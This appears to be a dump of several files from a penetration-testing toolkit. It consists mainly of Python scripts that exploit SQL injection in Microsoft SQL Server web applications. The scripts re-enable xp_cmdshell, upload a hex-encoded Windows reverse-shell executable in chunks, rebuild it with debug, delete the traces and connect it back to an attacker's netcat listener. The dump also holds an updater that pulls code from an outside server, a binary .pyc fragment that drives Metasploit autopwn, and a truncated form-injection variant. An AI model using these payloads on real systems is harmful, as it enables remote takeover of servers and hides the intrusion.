#!/usr/bin/env python import socket import pexpect import time import sys import os import re definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass include.print_banner() try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print " No internet connection detected, please enter your IP address manually.." ipaddr=raw_input(" Enter your IP Address: ") try: targeturl=sys.argv[4] except IndexError: print """ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Requirements: PExpect ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This module uses a reverse shell by using the binary2hex method for uploading. It does not require FTP or any other service, instead we are using the debug function in Windows to generate the executable. You will need to designate where in the URL the SQL Injection is by using 'INJECTHERE So for example, when the tool asks you for the SQL Injectable URL, type: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah """ targeturl=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example:http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah <ctrl>-c to exit to Main Menu... Enter here: """) try: match=re.search("http://", targeturl) if not match: match2=re.search("https://", targeturl) if not match2: choicehttp=raw_input(""" Choice which of the following to attack: 1. HTTP 2. HTTPS Enter number: """) if choicehttp=='1': targeturl=("http://"+targeturl) if choicehttp=='2': targeturl=("https://"+targeturl) except Exception, e: print e ncstarter=os.popen2('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Binary Payload SQL Injector" -e nc -lvp 4444 2> /dev/null') time.sleep(2) # # Had to break up into multiple different requests due to the size of the payload and URL request # # Binary2Hex code used from IllWill, very nice small reverse payload. # # While this may look a little ugly from a cleanliness perspective, theres a weird bug echoing files through SQL. When using >> it doubles whatever # the command you are entering, for example if you wanted ot echo blah, it would echo blah blah into the file, which caused a major issue when # getting the debug format right. # # So I got around the above problem by echoing individual text files and then typing them into one large one. This ended up working (phew). # # I ran the binary through olly as well as process explorer and filemon. It only makes one call out when executed and thats to the destiation thats # specified. Safe executable. # # Re-Enable XP_Cmdshell stored procedure just in case its disabled string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE--""") string3=(r"';exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt'--") string4=(r"';exec master..xp_cmdshell 'echo e 0180>4.txt'--") string5=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt'--") string6=(r"';exec master..xp_cmdshell 'echo e 0200 >6.txt'--") string7=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt'--") string8=(r"';exec master..xp_cmdshell 'echo e 0280 >8.txt'--") string9=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt'--") string10=(r"';exec master..xp_cmdshell 'echo e 0300 >10.txt'--") string11=(r"';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt'--") string12=(r"';exec master..xp_cmdshell 'echo e 0380 >12.txt'--") string13=(r"';exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt'--") string14=(r"';exec master..xp_cmdshell 'echo e 0400 >14.txt'--") string15=(r"';exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt'--") string16=(r"';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string17=(r"';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string18=(r"';exec master..xp_cmdshell 'echo e 0500 >18.txt'--") string19=(r"';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt'--") string20=(r"';exec master..xp_cmdshell 'echo e 0580 >20.txt'--") string21=(r"';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt'--") # Convert the crazy text files into one file string22=(r"';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt'--") # Convert to an executable string23=(r"';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe'--") # Cleanup string24=(r"';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt'--") string25=(r"';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll'--") # Actually execute the reverse shell string26=(r"';exec master..xp_cmdshell 'reverse.exe %s 4444'--" % (ipaddr)) sqlreplace1 = targeturl.replace("'INJECTHERE", """%s""" % (string1)) sqlreplace3 = targeturl.replace("'INJECTHERE", """%s""" % (string3)) sqlreplace4 = targeturl.replace("'INJECTHERE", """%s""" % (string4)) sqlreplace5 = targeturl.replace("'INJECTHERE", """%s""" % (string5)) sqlreplace6 = targeturl.replace("'INJECTHERE", """%s""" % (string6)) sqlreplace7 = targeturl.replace("'INJECTHERE", """%s""" % (string7)) sqlreplace8 = targeturl.replace("'INJECTHERE", """%s""" % (string8)) sqlreplace9 = targeturl.replace("'INJECTHERE", """%s""" % (string9)) sqlreplace10 = targeturl.replace("'INJECTHERE", """%s""" % (string10)) sqlreplace11 = targeturl.replace("'INJECTHERE", """%s""" % (string11)) sqlreplace12 = targeturl.replace("'INJECTHERE", """%s""" % (string12)) sqlreplace13 = targeturl.replace("'INJECTHERE", """%s""" % (string13)) sqlreplace14 = targeturl.replace("'INJECTHERE", """%s""" % (string14)) sqlreplace15 = targeturl.replace("'INJECTHERE", """%s""" % (string15)) sqlreplace16 = targeturl.replace("'INJECTHERE", """%s""" % (string16)) sqlreplace17 = targeturl.replace("'INJECTHERE", """%s""" % (string17)) sqlreplace18 = targeturl.replace("'INJECTHERE", """%s""" % (string18)) sqlreplace19 = targeturl.replace("'INJECTHERE", """%s""" % (string19)) sqlreplace20 = targeturl.replace("'INJECTHERE", """%s""" % (string20)) sqlreplace21 = targeturl.replace("'INJECTHERE", """%s""" % (string21)) sqlreplace22 = targeturl.replace("'INJECTHERE", """%s""" % (string22)) sqlreplace23 = targeturl.replace("'INJECTHERE", """%s""" % (string23)) sqlreplace24 = targeturl.replace("'INJECTHERE", """%s""" % (string24)) sqlreplace25 = targeturl.replace("'INJECTHERE", """%s""" % (string25)) sqlreplace26 = targeturl.replace("'INJECTHERE", """%s""" % (string26)) try: import urllib2 print " Sending initial request to enable xp_cmdshell if disabled...." connect1=urllib2.urlopen("""%s""" % (sqlreplace1).replace(" ", "%20")) # print "Trying to kill various anti-virus before converting the payload.." print " Sending first portion of payload (1/4)...." connect3=urllib2.urlopen("""%s""" % (sqlreplace3).replace(" ", "%20")) connect4=urllib2.urlopen("""%s""" % (sqlreplace4).replace(" ", "%20")) connect5=urllib2.urlopen("""%s""" % (sqlreplace5).replace(" ", "%20")) print " Sending second portion of payload (2/4)...." connect6=urllib2.urlopen("""%s""" % (sqlreplace6).replace(" ", "%20")) connect7=urllib2.urlopen("""%s""" % (sqlreplace7).replace(" ", "%20")) connect8=urllib2.urlopen("""%s""" % (sqlreplace8).replace(" ", "%20")) connect9=urllib2.urlopen("""%s""" % (sqlreplace9).replace(" ", "%20")) print " Sending third portion of payload (3/4)..." connect10=urllib2.urlopen("""%s""" % (sqlreplace10).replace(" ", "%20")) connect11=urllib2.urlopen("""%s""" % (sqlreplace11).replace(" ", "%20")) connect12=urllib2.urlopen("""%s""" % (sqlreplace12).replace(" ", "%20")) connect13=urllib2.urlopen("""%s""" % (sqlreplace13).replace(" ", "%20")) connect14=urllib2.urlopen("""%s""" % (sqlreplace14).replace(" ", "%20")) connect15=urllib2.urlopen("""%s""" % (sqlreplace15).replace(" ", "%20")) connect16=urllib2.urlopen("""%s""" % (sqlreplace16).replace(" ", "%20")) connect17=urllib2.urlopen("""%s""" % (sqlreplace17).replace(" ", "%20")) print " Sending the last portion of the payload (4/4)..." connect18=urllib2.urlopen("""%s""" % (sqlreplace18).replace(" ", "%20")) connect19=urllib2.urlopen("""%s""" % (sqlreplace19).replace(" ", "%20")) connect20=urllib2.urlopen("""%s""" % (sqlreplace20).replace(" ", "%20")) connect21=urllib2.urlopen("""%s""" % (sqlreplace21).replace(" ", "%20")) print ' Running cleanup before executing the payload...' connect22=urllib2.urlopen("""%s""" % (sqlreplace22).replace(" ", "%20")) connect23=urllib2.urlopen("""%s""" % (sqlreplace23).replace(" ", "%20")) connect24=urllib2.urlopen("""%s""" % (sqlreplace24).replace(" ", "%20")) connect25=urllib2.urlopen("""%s""" % (sqlreplace25).replace(" ", "%20")) print " Running the payload on the server..." connect26=urllib2.urlopen("""%s""" % (sqlreplace26).replace(" ", "%20")) print " You should have a shell if everything went good..Might take a couple seconds\n" except Exception,e: print e print ' Something went wrong, did you enter the IP address right??\n\nAlso, might not be running as "SA".\nYou will need to close the xterm window manually.' time.sleep(4)
16,160
Python
.py
169
92.639053
1,531
0.679294
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,350
updateft.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/updateft.py
#!/usr/bin/env python import time import os import sys import subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() try: import psyco psyco.full() except ImportError: pass print "\n Updating Fast-Track, please wait...." time.sleep(3) try: print "\n Checking for the new versions of Fast-Track..." if os.path.isfile("%s/.svn/entries" % (definepath)): print " Previous subversion installation detection, checking SVN for new versions..." updatesvn=subprocess.Popen("svn update", shell=True).wait() print "\n\n Fast-Track is now running the latest version...\n\n" if not os.path.isfile("%s/.svn/entries" % (definepath)): print " Fast-Track installation is now pulling the SVN repository for installation...Wait a few moments..\n" rmold=subprocess.Popen("rm md5.txt 2> /dev/null", shell=True).wait() rmold2=subprocess.Popen("rm /active.txt 2> /dev/null", shell=True).wait() updatesvn=subprocess.Popen("svn co http://svn.secmaniac.com/fasttrack %s" % (definepath), shell=True).wait() print "\n Fast-Track is now running the latest version...\n\n" print (" NOTE: If you received an error, you will need to manually update Fast-Track. Simply type rm -rf * (from the Fast-Track directory) then type svn co http://svn.secmaniac.com/fasttrack .\n\n") except KeyboardInterrupt : print """\n\n Exiting Fast-Track...\n""" time.sleep(3) except Exception : print """\n Something went wrong when trying to update...Try again??\n""" time.sleep(5)
1,662
Python
.py
35
42.514286
210
0.679035
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,351
autopwn.pyc
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/autopwn.pyc
—Ú öÉkOc@s≥ddkZddkZddkZddkZddkZeiÉZeiideÉddk Z yddk Z e i ÉWne j onXyei dZWn)ej oe iÉedÉZnXedjp edjodGHeiÉnyei dZWnej oed ÉZnXedjp edjod GHeiÉned jo d Zned jo dZndGHededÉiÉZxOeD]GZeiÉZeideÉZeoeiddÉZeZqµqµWyçeidÉZeidÉeideÉeideÉeidÉeidÉeidÉeidÉeidÉei ÉWne!j oZ"e"GHdGHnXdS(iˇˇˇˇNs %s/bin/ftsrc/is@ Metasploit Autopwn Automation: http://www.metasploit.com This tool specifically piggy backs some commands from the Metasploit Framework and does not modify the Metasploit Framework in any way. This is simply to automate some tasks from the autopwn feature already developed by the Metasploit crew. Simple, enter the IP ranges like you would in NMap i.e. 192.168.1.-254 or 192.168.1.1/24 or whatever you want and it'll run against those hosts. Additionally you can place NMAP commands within the autopwn ip ranges bar, for example, if you want to scan even if a host "appears down" just do -PN 192.168.1.1-254 or whatever...you can use all NMap syntaxes in the Autopwn IP Ranges portion. When it has completed exploiting simply type this: sessions -l (lists the shells spawned) sessions -i <id> (jumps you into the sessions) Example 1: -PN 192.168.1.1 Example 2: 192.168.1.1-254 Example 3: -P0 -v -A 192.168.1.1 Example 4: 192.168.1.1/24 Enter the IP ranges to autopwn or (q)uit FastTrack: tquittqs! Exiting Fast-Track autopwn... isΩ Do you want to do a bind or reverse payload? Bind = direct connection to the server Reverse = connection originates from server 1. Bind 2. Reverse Enter number: s% Exiting Fast-Track autopwn... t1s-bt2s-rs0 Launching MSFConsole and prepping autopwn...s%s/config/fasttrack_configtrtMETASPLOIT_PATHsMETASPLOIT_PATH=tt msfconsolesdb_driver postgresqls db_nmap %s sdb_autopwn -p -t -e %sssleep 5sjobs -Ks s sessions -lsnecho "If it states No sessions, then you were unsuccessful. Simply type sessions -i <id> to jump into a shell"s Exiting Fast-Track... (#tpexpecttsystosttimetretgetcwdt definepathtpathtappendtincludetpsycotfullt ImportErrortargvtipaddrt IndexErrort print_bannert raw_inputtexittoption1tfilet readlinest meta_pathtlinetrstriptsearchtmatchtreplacetmetapathtspawntchild1tsendlinetinteractt Exceptionte(((s+/var/pwnplug/fasttrack/bin/ftsrc/autopwn.pyt<module>sp                   
3,177
Python
.py
51
58.568627
352
0.573496
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,352
sqlbinarypayloadpost.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/.svn/text-base/sqlbinarypayloadpost.py.svn-base
#!/usr/bin/env python from urllib2 import urlopen from ClientForm import ParseResponse import os import sys import re import socket import time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() try: import psyco psyco.full() except ImportError: pass try: ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] except Exception: print " No internet connection detected, please enter your IP address manually.." ipaddr=raw_input(" Enter your IP Address: ") try: target=sys.argv[4] except IndexError: print """ This portion allows you to attack all forms on a specific website without having to specify each parameter. Just type the URL in, and Fast-Track will auto SQL inject to each parameter looking for both error based injection as well as blind based SQL injection. Simply type the website you want to attack, and let it roll. Example: http://www.sqlinjectablesite.com/index.aspx <ctrl>-c to exit to Main Menu... """ target=raw_input(" Enter the URL to attack: ") try: match=re.search("http://", target) if not match: match2=re.search("https://", target) if not match2: choicehttp=raw_input(''' Choice which of the following to attack: 1. HTTP 2. HTTPS Enter number: ''') if choicehttp=='1': target=("http://"+target) if choicehttp=='2': target=("https://"+target) except Exception, e: print e ncstarter=os.popen2('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Binary Payload SQL Injector" -e nc -lvp 4444 2> /dev/null') try: response = urlopen(str(target)) forms = ParseResponse(response, backwards_compat=False) x = 0 check = str(forms[x]) while (check != '[]'): form = forms[x] writefile=file("parse.txt","w") writefile.write("%s" % (form)) writefile.close() output = open('parse.txt', 'r') parsed = open('parse2.txt', 'w') print " Forms detected...attacking the parameters in hopes of exploiting SQL Injection..\n" for line in output.readlines(): match = re.search('Control', line) if (match): notinject = re.search('readonly|CheckboxControl|ImageControl|SelectControl|Submit|IgnoreControl|ListControl|SubmitControl|RadioControl', line) if (not notinject): my_match = re.search('\((.*)\)', line) newstr = str(my_match.group(1)) newer_match = re.match('(.*)=', newstr) print >> parsed, newer_match.group(1) parsed.close() parsed=file("parse2.txt","r").readlines() for line in parsed: my_input = line.rstrip() print " Sending payload to parameter: %s" % (line) form[my_input] = (r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE;exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt';exec master..xp_cmdshell 'echo e 0180>4.txt';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt' ;exec master..xp_cmdshell 'echo e 0200 >6.txt';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt';exec master..xp_cmdshell 'echo e 0280 >8.txt';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt';exec master..xp_cmdshell 'echo e 0300 >10.txt';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt';exec master..xp_cmdshell 'echo e 0380 >12.txt' ;exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt';exec master..xp_cmdshell 'echo e 0400 >14.txt' ;exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 